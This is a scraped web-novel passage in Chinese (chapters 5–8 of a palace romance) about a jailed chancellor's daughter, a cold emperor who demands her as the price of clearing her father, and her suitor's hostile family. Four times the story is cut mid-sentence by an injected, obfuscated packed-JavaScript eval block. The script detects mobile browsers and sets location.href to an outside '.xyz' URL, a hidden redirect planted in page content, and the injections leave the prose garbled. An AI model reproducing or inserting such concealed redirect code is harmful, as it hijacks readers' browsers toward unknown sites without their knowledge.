沈若嫣从震惊与疼痛中回过神来,就见皇帝就着盆水,一遍又一遍地搓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404465|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗着左手——正是刚刚她握住的那只手。 此时巨大的耻辱代替了痛感,她呆呆地坐在凌乱的书册中,看着皇帝连换了三盆水,面如死灰。 沈忠被宣入殿内,见形势不对,诚惶诚恐地跪拜在地。 一旁的岳常安看得蹙额,皇帝这手再洗下去可要破皮了。他正想上前劝阻一下,就听见“咣当”一声,铜盆连盆带水一同滚落到地上。 这一摔极其用力,水花四溅,沈忠躲避不及,满头满脸都是水。 他虽不明状况,却还是一下子察觉到皇帝很不高兴。沈忠大气不敢出一声,任由额头的水珠滑落眼里,连抬手擦去的勇气都没有。 “沈家怕不是早有异心吧?” “朕想见一下沈相的女儿,敢用冒牌货骗朕。” “喜欢顶替别人是吧,朕现在就成全你,送你去替沈相坐牢。” 几句话轻飘飘的,却如三九寒冬的雪,一点一点地打在沈忠心上,一颗心瞬间凉了半截。 很明显,皇帝没有看上他的女儿。他擅作主张送了沈若嫣进来,此举怕是激怒了皇帝。 “微、微臣有罪!这就将罪女带回去,严加管教。”沈忠两腿瘫软,声音都在打颤。这是他往日用惯了的伎俩,无论如何,将罪名先认下来。 可惜皇帝也不是好糊弄地,他嗤笑一声,线条流畅的面容冷若冰霜。他慢条斯理地从腰间取下香囊搁置在手背上,头也不抬一下,只扔出一句“晚了。” 方向错了,错得离谱。沈若嫣管不管教,与他又有何关系? 他在意的根本不是这些不相干的人。 这一声“晚了”在空旷的殿内显得格外致命。沈忠彻底慌了心神,心里更是叫苦不迭,悔不该动了歪心思,想用女儿来勾引皇帝。“皇上饶命,饶命啊……” 他千算万算,万万没想到这帝王竟然不爱美人。作为男人,他实在没法想通。 皇帝想要人质,一早老老实实将沈若辞那病秧子送来,就没有今日这档子破事了。 沈忠正焦头烂额之时,就听见殿中有轻微的脚步声。 岳常安向前走了几步,他才出去了不到半刻钟,怎么就闹成这样子。虽不清楚内情,但也不能让人家姑娘一直坐在地上,便开口道,“沈姑娘请起吧,地上凉。” 好在皇上也在这时候开了口,“饶你一命,也不是难事,只是你这么蠢,朕怕……” 沈忠听出皇帝的言外之意,忙承诺道,“皇上放心,罪臣明白了,这回不会弄错了。” 见沈忠信誓旦旦地做了保证,元栩才放人离开。 * 相府里,这边沈若辞正忧心忡忡,那边沈家人的在为沈若嫣进宫一事,一派欢天喜地。 阿茉将一字条交给沈若辞,“小姐,是柳太妃派人送来。” 沈若辞急急忙忙打开字条,期盼的眼神像流星划过夜空,一瞬间暗了下来。 5. 第 5 章 柳太妃是沈相的表姐,早些年见过沈若辞几次。小姑娘生得玉雪可爱,又对医理颇有研究。恰逢那会儿柳太妃身子不好,一见她便很是投缘,时常让沈若辞过去行宫陪伴。 皇帝年幼丧母,柳太妃曾抚养过他一段时间,沈若辞自然没放过这个机会,一早就去求了柳太妃。柳太妃虽然有些为难,但最终还是应下了。 事后柳太妃亲自入宫求了情,结果只得来圣上一句模棱两可的回复——此事朕自会秉公处理。 沈若辞心知肚明,这样冠冕堂皇的说法无异于是敷衍,这让她又多了几分失望。 这几日来,她心绪不宁又夜不能寐,原本孱弱的身子现在更加吃不消了,只觉得脑袋隐隐作痛,整个人虚脱难挨。 勉强睡了一觉,醒来的时候,阿茉站在房中,一副欲言又止的模样。 沈若辞眼皮直跳,双手撑着床沿急急问道,“是不是出了什么事?” 阿茉见她慌得紧,脸色一片煞白,连忙上前安抚,“不是相爷,小姐别怕,是大房那边的……” 沈若辞心安了一些,身子又缓缓地往回坐,“那是,沈若嫣进宫一事出了差池?” 阿茉没想到沈若辞竟然一语猜中,惊得嘴巴都没合上,“小姐你怎么知道?” 沈若辞解释道,“皇帝恨极了我爹,又岂会善待沈家的女儿。” 那日在前厅,她对沈若嫣入宫一事心存疑虑,只是稍加追问就引来不满。她有心相劝,奈何众人都当她是妒忌,也只好作罢。 而今出了事,对沈相来说更是雪上加霜。 阿茉将事情始末简单复述了一下,昨日沈若嫣随沈忠一同进宫,皇上接见了二人,但中途不知道发生了什么事,皇帝暴怒之下将沈忠二人赶出了皇宫。沈若嫣最后灰头土脸地从宫中回到沈府,可能觉得丢脸,躲在房里不吃不喝哭了一整夜。 这些本来与沈若辞无关,阿茉起初听着还觉得解气。可是后来沈老夫人命人过来传了话,竟是要沈若辞亲自入宫谢罪。 沈忠从宫中被赶出来后,一直惶恐不安。惹怒皇帝的罪名,那可是滔天大罪,他坐立难安地想了半天之后,将皇帝暴怒的原因都归责于沈相入狱一事。 既然皇帝因为沈墨不忠而迁怒于沈家,那沈若辞作为他的亲生女儿,理应入宫谢罪。 何况那位“贵人”替他分析了一下,皇上说沈墨自己的亲女儿不舍得送入宫中,弄个假千金来糊弄他,这不明摆着要沈若辞入宫嘛。 沈忠回沈家跟众人一番合计之后,一致决定为避免夜长梦多,立即让人入宫请罪。 沈若辞听得额头突突直跳。 她还在苦恼入宫的事情,沈若嫣就盛装打扮而来,眉眼带笑,却掩不住浓妆下疲倦的神色,想必哭了一夜的传闻不假。 沈若辞没有心思去猜沈若嫣的来意,直接开门见山,“大姐前来所为何事?” 沈若嫣知道昨天的事让人看了笑话,心里虽觉得丢人,面上却仍要装得若无其事,“原是我爹爹会错了意,害得我进宫白跑一趟。幸好皇上不是要我入宫,圣上那人……果然如传言中的阴鸷暴戾,目中无人。别怪我没提醒你,你入宫的时候要小心一点,千万别触怒了皇上。” 元栩的名声——沈若辞还是有所耳闻的。先帝英年早逝,皇帝还是年幼的孩童,就被送上了皇位。少年皇帝,大权在握又无人管束,以至于肆意妄为,玩世不恭。后来又因头疾久治不愈,严重影响性情,变得更加的暴戾阴鸷…… 沈若嫣边说边拿余光偷偷去看沈若辞的表情,见她听得眉头紧锁,心里便少了几分挫败,多了点得意。此时见她久久不开口,想必是被自己的话震慑住了,顿时觉得解气了不少,又想打压她一下,“做人千万不要假清高,你看三叔清高了这么多年,最后得了叛国的罪名,你呢,在圣上面前千万不要这副表情……” 她话还没说完,沈老夫人那边就派人来催沈若辞入宫了。 大难临头,沈家人毫不犹豫地将她推了出去。 * 马车缓缓地行驶在平整的青石板上,周遭环境是意外的平静。年幼的时候,也曾对皇宫有过憧憬与好奇。 每当这时候,父亲总是说皇宫是最刻板无趣地的地方,他的小姑娘不会喜欢的。 在她闹得凶的时候,沈相又说过,皇宫她幼时就去过了,没必要再去了,可她明明没有印象。 后来皇帝的名声渐渐不好了,她避都来不及,哪里还会提进宫这回事。 下了马车,城楼高耸,宫殿恢宏,阳光下金碧辉煌,一片肃穆庄严。 日光从檐角倾泻而下,琉璃瓦流光溢彩,光线明晃晃的有些刺眼,晃得她两眼发白,莫名一阵眩晕。 身后有人伸手过来,扶住她摇摇欲坠的身子,方才止住了趔趄。 “沈姑娘担心。” 说话的人是皇帝身边的公公岳常安,声音听起来阴柔恭敬,沈若辞缓了缓神,道了声谢,“多谢公公。” “皇上就在书房,老奴这就引您过去。” 御书房内寂静无声,置身其中如近寒潭,隐约有股透骨的清凉。 沈若辞跟在岳常安身后,低垂着眼眸,鼻尖有淡淡的草药香气。 “皇上,沈姑娘来了。” 她停住步伐,微微抬头,入眼是一枝明媚的海棠花,花开正艳,随风纷纷扬扬。 画前立着一人,玉冠束发,身姿颀长挺拔。一身锦衣自然流畅,纤尘不染,恍若画中人跃纸而出。 长衫飘逸鲜亮,风度翩然。沈若辞秀眉轻蹙,恍惚觉得她来的并非皇宫,而是春日踏青的城郊,有衣着靓丽的贵公子结伴出游。 她怔了一瞬,才回过神来,提起裙摆跪拜在地,“臣女沈若辞参见皇上。” 声音娇柔婉转,一如从前,直撩人心弦,并没有因病受损。 大殿之内隐约有人松了一口气。 再之后时间仿佛静止了,她匍匐在地,指尖发颤,难掩心中忐忑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404466|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>良久,皇帝足尖微调转身过来,视线落在葱白的玉指之上,然后是纤秀的身姿。凝了一会儿,方才缓缓开口,声音清冷,“平身吧。” 沈若辞如释重负,“谢皇上。” 跪了一会儿突然起身,又是一阵眩晕。她抿了抿唇,尝试着压下身体的不适。 昨日沈若嫣来了一遭,回去之后就鼻青脸肿的,她这会儿站在这里,心里若是不慌,那是假的。 沈若辞悄悄吸了口气,目光飞快地转了一圈,便静悄悄收回,不敢再看了。 果然,皇帝丝毫不留情面,开门见山道,“通敌叛国,其罪当诛。” 沈相效忠朝廷二十载,这些年来的艰辛和用心,皇帝岂会不知? 今日能说出这句话,八成是对她爹的不信任。 日夜担忧的事情到底还是印证了,沈若辞指尖儿颤了颤,心头涩然,为父亲这些年的付出觉得不值,更为父亲的日后的处境担忧。 一瞬间委屈和恐慌如潮水涌上心头,顿觉喉头一哽,眼眶涨得发酸。她掐了掐冰冷的掌心,诚恳道,“通敌一事纯属空穴来风,并无实质性证据,求皇上明查。” 病了两年,身子本就孱弱。眼下这句话无异于晴天霹雳,让她身子止不住地颤抖,只拼命握紧了手掌,才生生将眼泪忍了下来。这会儿双眸莹着浅浅的泪,眼尾处一抹诱人的红似有若无,凭空添了几分媚意。 皇帝冷冷地看了一眼,心绪微乱,不耐地说道,“若是清白,也另当别论。” 沈若辞原本眼泪都快落下来了,突然听皇帝这么说,猛地睁大了眼睛,半信半疑地抬起一张莹白的小脸。 朦胧中眼前人剑眉星目,貌若谪仙,五官漂亮得世间没有那般。可那张俊脸似乎蒙着寒气,任谁看了都觉得不可一世,难以接近。 父亲口中那个整日让他暴跳如雷,捶胸顿足的狼崽子竟是长这个样子。他跟沈若辞想象中的样子相去甚远。难不成狼崽子也能变成美男子? 惊讶过后,沈若辞暗暗地想,可惜了,人长得好看,眼睛却是瞎的,忠奸不辩。 她犹在腹诽中,精致的下巴微微抬起,明艳的小脸毫不掩饰,直勾勾地打量他。 照理来说,元栩见她如今的处境,心中该是解气才对。但他此时脑中只有一个念头——啧,好看成这个样子。 “沈大小姐倒是很善于利用自己的美貌。” 他笑得轻浮,沈若辞瞬间品出话中的意味,此时因为受了冤枉,眼尾那抹红更加艳丽,生生灼了他的眼。 “皇上!” “求皇上勿凭空捏造事实。” 他轻抚了抚流畅的衣摆,嗤笑一声,“凭空?要证据是吗?” 沈若辞与他对视,“是。” 皇帝没有回应,只是把玩着桌面上的长剑,半晌之后,才开口问道,“沈大小姐可认得这剑?” 沈若辞视线下移,脸色顿时白了几分,他手中握着的长剑,正是那日她送出去给连骁的赠礼。 6. 第 6 章 赤玉剑如何到皇帝手里,沈若辞已无暇思考,此时她脑子里只有一个念头,那就是自己的一言一行都在他的掌控之中。 她的心一寸一寸地沉下去,皇帝已封死其它的路,就等着她自投罗网。 “沈大小姐四处去求人,为何不直接来求朕。” 他手指修长舒展,指腹摩挲着剑鞘上的花纹,问得似是漫不经心。 沈若辞压下不安,“臣女不敢。” 皇帝轻笑出声,“黑面战神连骁在我们大魏是出了名的难说话,这你都敢去求见,还有谁是你不敢的。” 沈若辞一时语塞。 见沈若辞不语,他又讥讽道,“难不成,朕比他难说话?” 沈相出事时,沈若辞第一时间就让柳太妃去找皇帝求情,毫无意外没有结果。而今却当着她的面责怪她,也是天大的笑话。 自知与他辩解没有用,沈若辞当即跪了下去,“皇上,家父忠心日月可鉴。倘若真有证据证明父亲通敌,臣女愿一并受刑。” 她顿了顿,又道,“但若父亲未曾做出叛国一事,也愿引咎辞官,从此只做一介平民,不问朝堂之事,求皇上成全。” 他慢吞吞地打了个哈欠,抬眼去打量她,这张脸实在过分漂亮,哪怕小嘴巴说出来的全是不解风情的话,也足够让人移不开眼儿。 大殿中一片死寂。 皇帝没有动,也不置可否,只冷眼瞧着。沈若辞等得煎熬,掌心里不知何时已是一层冷汗,她掐了掐手心,许久才听那人轻笑了一声,缓缓开口。 “如此便太委屈沈相了。” 埋没总好过丢命,沈若辞这样想。 “朕倒是有个两全的法子。” “就看沈大小姐愿不愿意了。” 沈若辞右眼皮无端跳了一下,她努力忽略心口的不安,恭敬道,“求皇上赐教。” 很好,还算识相。 “朕向来不做亏本生意。若沈相清白,官复原职也未尝不可。但……朕也想得点好处。” 桌上的白玉杯被他放倒,在桌沿滚了一段距离,他长指轻轻一拨,杯子又滚回手边,被他握入掌中。那英俊的脸庞看不出什么波澜,眼眸却深不见底。 “比如说,把你抵给朕。” 沈若辞只觉得轰隆一声,脑子里嗡嗡作响。良久,她终于想通皇帝话中的意思,一颗心宛若石沉大海。 比起父亲长期监禁亦或是行刑处罚,这不是最坏的结果,不是吗?沈若辞拼命地说服自己,可答应的话语却怎么也说不出口。 可能因为天气燥热,又因沈若辞迟迟不给出回答,元栩心情莫名烦躁,还有些不安。直至那张惨白的小脸勉强挤出一丝笑容,“臣女就要定亲了……” “袁家公子福气不小,这么说,那就是不愿意了……” 他轻笑一声,原本心不在焉的人终于掀起眼皮,高高在上地瞥了她一眼,眼神里都是玩味。 这笑声让沈若辞感受到前所未有的不安,她害怕这是唯一可以救父亲的机会,却白白给她错过了。 她慌不择路,“容臣女再想想。” 并非她不舍得交出自己,沈若辞害怕自己冒然应承皇帝入宫做棋子,父亲知道后会做出什么事来。 “朕没什么耐性,可以等的时间不长。” 沈若辞脸色又白了一分,她点了点头,“臣女尽快。” 皇帝凝着她的脸, “既然为情人难到如此,朕也可以不勉强。” “……” 沈若辞忙不迭想要辩白。 话到嘴边,她忽然觉得有种此地无银三百两的意味,便识趣地将要辩解的话咽了回去,不动声色地扯开话题,“臣女只是觉得这殿中的香气特别,一时间身体有些不适应。” 皇帝长指摩挲着腰间荷包,漫不经心道,“哦?沈大小姐不喜欢这草药的香气?” 沈若辞摇摇头。 她略通医理,对草药的气味比常人敏感一些。再者草药能治病救人,她向来珍之重之,没有不喜欢一谈。 “臣女只是好奇,皇上用的为何不是名贵的香料,而是普通的草药。” 皇帝难得耐心地解释道,“这药方,来自朕一位民间知己,对朕缓解头疾大有益处。” 早几年皇帝厌倦了宫中的生活,又饱受头疾煎熬,时常私自出宫,不问朝政,沈相对此事颇有微词,沈若辞也有所耳闻。 “臣女略懂医理,日后愿为皇上分忧。” 宫里医术高明的太医不在少数,沈若辞医术平平,大概率帮不上什么忙,说这话只为向皇帝表明沈家的忠心。 “如此甚好。只不过沈相一事还未有定论,就算朕相信沈相,以朕一人之说却难堵悠悠之口,仍需费些时日彻底清查,真正还沈相一个清白。” 这显然是推脱之词。 “皇上……”沈若辞心下一悸,双唇动了动却发不出任何声音。还未及想通,顿觉眼前一黑。紧接着,一阵凉风裹挟着陌生的淡香扑鼻而来,人便失去了知觉。 * “呜,好热……” 沈若辞浑身烫得厉害,又湿漉漉的,香汗淋漓……一股清冽而炙热的气息铺洒在耳畔,她整个人难受得紧,小口小口地喘息。胸脯急促起伏,像被什么压得紧紧的,粉嫩的唇瓣忍不住溢出呜呜咽咽的低吟…… 一只大手横过来扣住她的腰,轻而易举地将人翻转过来,帐中烛光微暗,男子身着锦衣,怀中有淡淡的草药香气。 与她一身白嫩香软不同,他上衣明显一丝不苟,整整齐齐,下摆却高高地掀至腰间…… 墨发轻柔地垂落至她的侧脸,两侧白得发光的手腕被迫高举着至头顶,沈若辞双颊顿时红如熟透的樱桃,一身白玉无瑕泛起淡淡的粉,一览无余地呈现在陌生男子面前,她羞窘得不行,无助地将眼皮缓缓合上。 床板忽而剧烈抖动,她大惊之下从床上栽了下来…… 原来,是一场梦。 她睁开眼睛,朦胧的轻纱描着金线,床幔层层叠叠低垂至地面,极尽奢华。 沈若辞从陌生的床上苏醒过来,浑身酸软无力,神色十分疲倦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404467|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 明黄色的锦被柔软,到处都有淡淡的草药香气,小人儿睡得迷迷糊糊的,从锦被中探出半个身子。 “沈姑娘,奴婢锦云。皇上去忙政事,临行前吩咐奴婢照顾好沈姑娘。” 说话间,锦云已将床幔撩起,光线忽明,榻上女子面容憔悴,却难掩国色天香,冰肌玉骨。 昨天夜里烛光摇曳,匆忙之间没顾上去看她的样貌,而今细细看来,竟是这般绝色。饶是锦云看惯了宫中的美人娇娥,此刻还是禁不住呼吸一紧。 也难怪皇上昨晚…… 锦云自知逾矩,想到此处急急打住。 沈若辞尤在迷茫中,便听锦云轻声问道,“沈姑娘有何吩咐?” 长指扣着锦被,她低头去看身上浅粉色的中衣,系带松散,领口微微敞开。薄衫之下盈盈挺翘,不着寸物。沈若辞倒吸了一口冷气,这件贴身的中衣,并非昨日出门时穿来的那一件。 她闭了闭眼,“昨晚……这里发生了什么事?” 锦云一愣,见她苍白的小脸微微颤抖却毫无表情,温顺地回道,“昨夜沈姑娘在御书房晕倒了,皇上将您抱回了寝殿。” 竟然……如此! 长指无意识地下移,揪紧了被褥才止住了颤抖,沈若辞忽地抬头,“那为何换了……衣裳?” 锦云如实回答,“沈姑娘晕倒的时候出了一身冷汗,衣裳是皇上让奴婢寻来给您换的。本来是有小衣的,但奴婢愚笨,拿小了尺寸,怕沈姑娘穿了不舒适,就直接给您穿了中衣。” 沈若辞似乎松了一口气,身子不再是绷成一条直线。 锦云目光下移,落在那一处浑圆之上,暗暗感叹这般纤瘦的外表下,竟是一副玲珑有致的身子。 一想到昨夜锦被下美人衣衫半解,睡颜娇憨可人,锦云实在没忍住红了脸。 沈若辞思绪乱糟糟的,身子虚脱,又满腹狐疑,自然也没注意到锦云表情的变化。 她全程晕乎乎地,由着锦云给她梳洗打扮,又勉强吃了小半碗粥。 热粥下肚,沈若辞打起了几分精神。岳常安走上前来,半弓着身子,“沈姑娘,皇上政务繁忙,交代老奴向您问一句话。” 沈若辞小心放好手中的粥碗,转身过去,“公公请说。” 昨夜的事,岳常安看得清楚,心里也跟明镜似的。皇帝多少还是忌惮于沈相,就算强行将此女囚禁在宫中,很大可能也不敢苛待于她。 他做奴才的,更不敢有所造次,“沈姑娘,皇上让老奴转告您一句,昨日他问您的事,还等着您的答案。但不必现在回答,回去想清楚了再说。” 沈若辞知道他所指何事,脸色白了几分。 沈若辞语气平和,口中微微泛苦,“有劳公公转达,臣女会尽快决定。” 岳常安没想过有朝一日,他也能在宫中亲眼目睹卖身救父的戏码,一时间对这女子竟生出些同情怜悯。 一句“沈姑娘受苦了“的对白顿时迸入脑中,给他强行压了下去,改口道,“老奴奉命送您出宫。” 出宫? 7. 第 7 章 沈若辞茫然地望向岳常安,她原本以为皇帝会就此囚禁她,直接断了她出宫的路,这是一劳永逸的做法。 她不免怀疑皇帝是否在试探她,“公公说的可是真的?” 岳常安微笑着点点头,“皇上金口玉言,不作假。老奴再告诉沈姑娘一个好消息,皇上准许您去牢里见沈相一面。” 沈若辞大喜过望,几乎是从椅子上跳起来的,也顾不上深究皇帝此举的意图,便急切地问道,“敢问公公,我何时能去看我父亲?” 岳常安见眼前女子喜上眉梢,笑起来连眼底都泛着笑意,也跟着笑了开来,“皇上说明日便可去探望沈相。” 连日来阴霾的情绪几近消散,沈若辞心中生出些许期盼,等回到家中,她要带上一坛自己亲手浸泡的药酒。牢里湿气重,沈相腿脚受过伤,怕是受不起寒气的侵蚀。 还有,要让阿茉准备多几套干净的衣裳……她还要好好寻几册好书,一同带入狱中给父亲解解闷。 父亲这人,最是闲不得,让他无所事事地呆着,几乎会要了他的命。 她想着想着,全然忘了刚才所有的不安与难受,一心只想飞到牢里与父亲见上一面。 * 送走沈若辞,岳常安哼着小调回到龙泽殿,迎面就见连嬷嬷绷着脸从殿中走出来。 连嬷嬷前几日染上风寒,如今正在养病中,皇上敬重她,许她休息到痊愈再来龙泽殿服侍。怎么这会子突然现身在这里? 带着疑惑,岳常安立马走上前去问候,“连嬷嬷,身子可是大安了?” 连嬷嬷见是岳常安,神色稍有缓和,“多谢岳公公记挂,好得差不多了。就是年纪大了,夜里稍微有点声响就睡不着了,昨儿夜里龙泽殿里的事,我一早也听说了,龙床上的女子……是谁?” 岳常安顿时明白连嬷嬷为何来龙泽殿了,这哪里是痊愈了,这分明是来打探消息的,他左右各看了一下,确定没人,才压低声音道,“哎呀,您说稀奇不稀奇,我服侍皇上这些年了,头一回见有女子上了龙床。” 连嬷嬷见他敌意避开自己的问题,脸上依旧是冷冷的神色,她拍了一下袖子上并不存在的灰,气定神闲地反驳他,“那可不见得,多年前不就有个女娃娃在上边睡过,当时还闹出很大动静,你不也在场?这哪里算得上头一回。” 岳常安回想起多年前的一幕,这不巧了不是?两次都是同一个人,他嘿嘿一笑,“您说不算就不算,反正是个漂亮的女子,我只能跟您说昨夜皇上是睡在书房里,其他的就不敢乱说了,日后她若再来,您就知道了。” 连嬷嬷心道长得漂亮的女子大把,能不能再见,也要看她有没有这福气!眼见岳常安这老狐狸的嘴肯定是撬不开了,连嬷嬷只好黑着脸回去继续养病。 ** 大殿内,元栩与一老者相对而坐。 “昨日事出紧急,劳烦成先生跑这一趟了。” 老者摆摆手,“无妨无妨,皇上言重了。只是这女子的病症极为罕见,找不出病因无法对症下药是久治不愈的关键。” 皇帝面色微沉,“成先生,你跟朕说实话,这病到底能不能治愈?” 成聿早年是宫中的御医,后来辞官隐退,云游四方。 “皇上,老朽前两年曾游历到姜国,偶然遇到一味罕见的毒药,中毒后的症状的便与这女子的病症极为相似。” 元栩神色严肃起来,“先生的意思是,并非生病,而是中毒?” 未等成聿回答,他又追问道,“可有医治的办法?” 成聿并不十分确定,只是朝元栩拱了拱手道,“这位姑娘是福厚之人,若是两年前找老朽医治,恐怕也只能是爱莫能助了。” 元栩心头稍松,正打算细问一下如何治疗,就听成聿犹豫地问道,“皇上,不知这女子……可曾婚配?” 昨日匆忙派人将成聿请入宫中,就为了让他给一个陌生女子看病,正常人都会好奇这女子的身份。这本不是他该问,但元栩敬重成聿,告知他也无妨,“未曾。” 话音刚落,就见成聿蹙起眉头,神色有些为难,“按照昨夜的药方定期进行药浴,老朽回去再加一味药便可。不过这姑娘尚未成婚,恐怕难以达成效果。” 成聿明显话中有话,元栩却不想去猜,“先生不妨直言。” 成聿低声将情况禀明。 若是个普通大夫跟元栩说这席话,这人恐怕已被拖下去棍棒伺候。好在成聿医术高超,皇帝对他的话深信不疑。 “若单单只进行药浴,是否可行?” 成聿摇了摇头,“时间太长,怕那女子熬不起。” 元栩静默了一会,缓缓抬头道,“朕知道了。有劳先生准备药材,朕会全力配合。” * 皇帝果然一言九鼎,派人亲自护送沈若辞回了沈府。虽然拿不准这些人是否为元栩派来监视她的眼线,但也无妨,她确实平安回到了家中,其他事情就变得不那么重要了。 下了马车,沈若辞步履轻快,正准备赶往住处准备东西,就见袁子逸一身白衣,独自一人徘徊在侧门口的老树下。 三房的院子跟沈府大门离得远,沈相特意开多了一个侧门,方便父女二人日常出行。 袁子逸眉目清秀,肤色偏白,生着一张令人赏心悦目的脸。一眼望见沈若辞走过来,脸上当即漾出浅浅的笑意,轻声唤了唤她的名字,“小辞。” 沈相出事后,袁子逸第一个赶过来安抚她,这份心意她看在眼里的。 “子逸哥哥……” 二人是青梅竹马的情意,按理说见了心上人,少不得要心生欢喜,但沈若辞连日来忧心忡忡,此时只苦着一张小脸。 袁子逸知道她心忧沈相安危,细心安慰了几句,才道明了来意,“小辞,今日是我母亲生辰,国公府上摆了宴席,我想带你一块儿过去。” 沈若辞本想拒绝,父亲尚在狱中。她实在没什么心思去参加喜庆的寿宴。但见袁子逸一脸期盼的神色,甚至连贺礼都替她准备好了,不由得心头一闷。 皇帝要她入宫,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404468|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底是真心还是试探,她眼下还拿不准。 若单纯只是试探,那证明皇帝还是愿意相信父亲,事情的发展也简单得多。但若是真心,那以后的日子估计会很难很难…… 袁子逸没有催她,而是耐心地等她的回答。见她犹豫了一番,还是缓缓地点点了头,不禁眉梢一喜,温柔地伸出手摸了摸她的头,却不知道此时她正为二人的未来忧心忡忡。 国公府与沈府离得近,用不上马车,二人肩并肩一同前行。 国公夫人的寿宴,一大早便已门庭若市。袁子逸一路同宾客招呼问候,也不忘护好身边的沈若辞。 她身子一直不大好,再加上近来忧思不断,眼下面带病容,气色十分憔悴。奈何天生容色明艳,看在众人眼里,别有一番病美人的风情。 一路过来,已有好事之人将她比作病西施,夸得如何如何好看,甚至有人起哄要去问问袁大公子那仙子是何人。 国公夫人正携女儿袁妙莹在前厅招呼客人,不巧刚好听到这一截,脸上的笑意一下子淡了下去。 袁妙莹从前便不喜沈若辞,现在沈相落难,她更看不上沈若辞,气得跺脚,“娘,大哥怎么不听劝的,还把那丧门星带来做什么!” 碍于宾客在场,国公夫人扫了女儿一眼,示意她闭嘴。这些天她一直拿沈相叛国的事警告袁子逸,让他莫要与沈若辞走太近,免得被牵连进去。甚至为此将他支开到外地一段时间…… 没想到这逆子竟明目张胆地将人带到宴席上来了,这让人知道了,会怎么看国公府? 此事耽搁不得,她领着女儿走到角落里,低声吩咐道,“去,把你大哥叫到偏厅来。” 袁子逸正在花园里同友人交谈,就见妹妹冷着脸过来传话,全程视沈若辞如空气。这让他略感无奈,眼中都是歉意,下意识地去握沈若辞的手,想安抚她一下,却抓了个空。 “子逸哥哥走吧。”沈若辞暗地里将手收进宽袖里,若无其事地迈开步子。 她从跟前走过,身上有特殊的草药香气,袁子逸恍惚了一下,凝着那抹纤秀的身影看了一会,自嘲地笑了笑,才举步跟了上去。 袁妙莹没有走远,站在长廊下远远地盯着袁子逸二人,脸上尽是嫌恶的表情。 “妙莹妹妹何至于此,沈若辞而今不过是罪臣之女,无足挂齿。你若还是不喜欢她,大可以使点手段,不必气坏了自己。” 袁妙莹没有回头,就知道说话的人是镇远侯府的大公子,淑妃的嫡亲哥哥马瑜春。 马瑜春好色成性,曾对她献媚过,她自然是看不上的。以她的姿色才华,入宫才是最佳的选择。 “妙莹对你无意,马公子不必费口舌讨好。” 被她这样直白的拒绝,马瑜春也不气恼,脸上依然笑嘻嘻的,“妙莹妹妹误会了,在下只是想说,若是袁家不想要沈若辞,我倒是很乐意接手。” 他觊觎沈若辞很久了,以前忌惮沈相,有贼心没贼胆。 而今这娇花失了庇护,正是他下手的最佳时机。 8. 第 8 章 袁妙莹立马明白过来马瑜春的意思,这男人她虽不要,却也反感他的善变,更无法接受他移情别恋的对象竟是自己最讨厌的人。 她不悦地翻了个白眼,冷冷地回道,“这丧门星进不了我们袁家的门,谁想要就捡回去,与袁家无关。” 马瑜春笑得浪荡,“我是想要啊,可是沈家还有个宋临,暂时还要不到。” 这样的倾城绝色,他可以等。等沈家完全倒了,到时候便可以将这娇花占为己有,夜夜欢好,他有的是大把耐心。 他还想继续说下去,没想到袁妙莹冷哼一声,不屑一顾地转身离开。 * 与前厅里宾客如云,人声嘈杂不同,沈若辞一脚跨进门的时候,就觉得这偏厅格外的僻静清冷。 袁国公父夫妻二人端坐于主位之上,往日里温和的面容变得冷漠无情,这让袁子逸心中隐隐不安。 “父亲,母亲……” 袁子逸话还没说完,国公夫人就冷着脸打断他,“今日是你母亲生辰,你将这女子带来府里,是想气死我不成?” 早些天在龙岩寺,她就试图拿话点醒沈若辞,没想到这女子今日还有脸上门来,袁夫人悔不当初,早知道那日就该将话说绝,也省去了今日的事端! 说起这事端,她一只手捂紧了胸口,眉心皱成一团,像极了被气坏的样子。 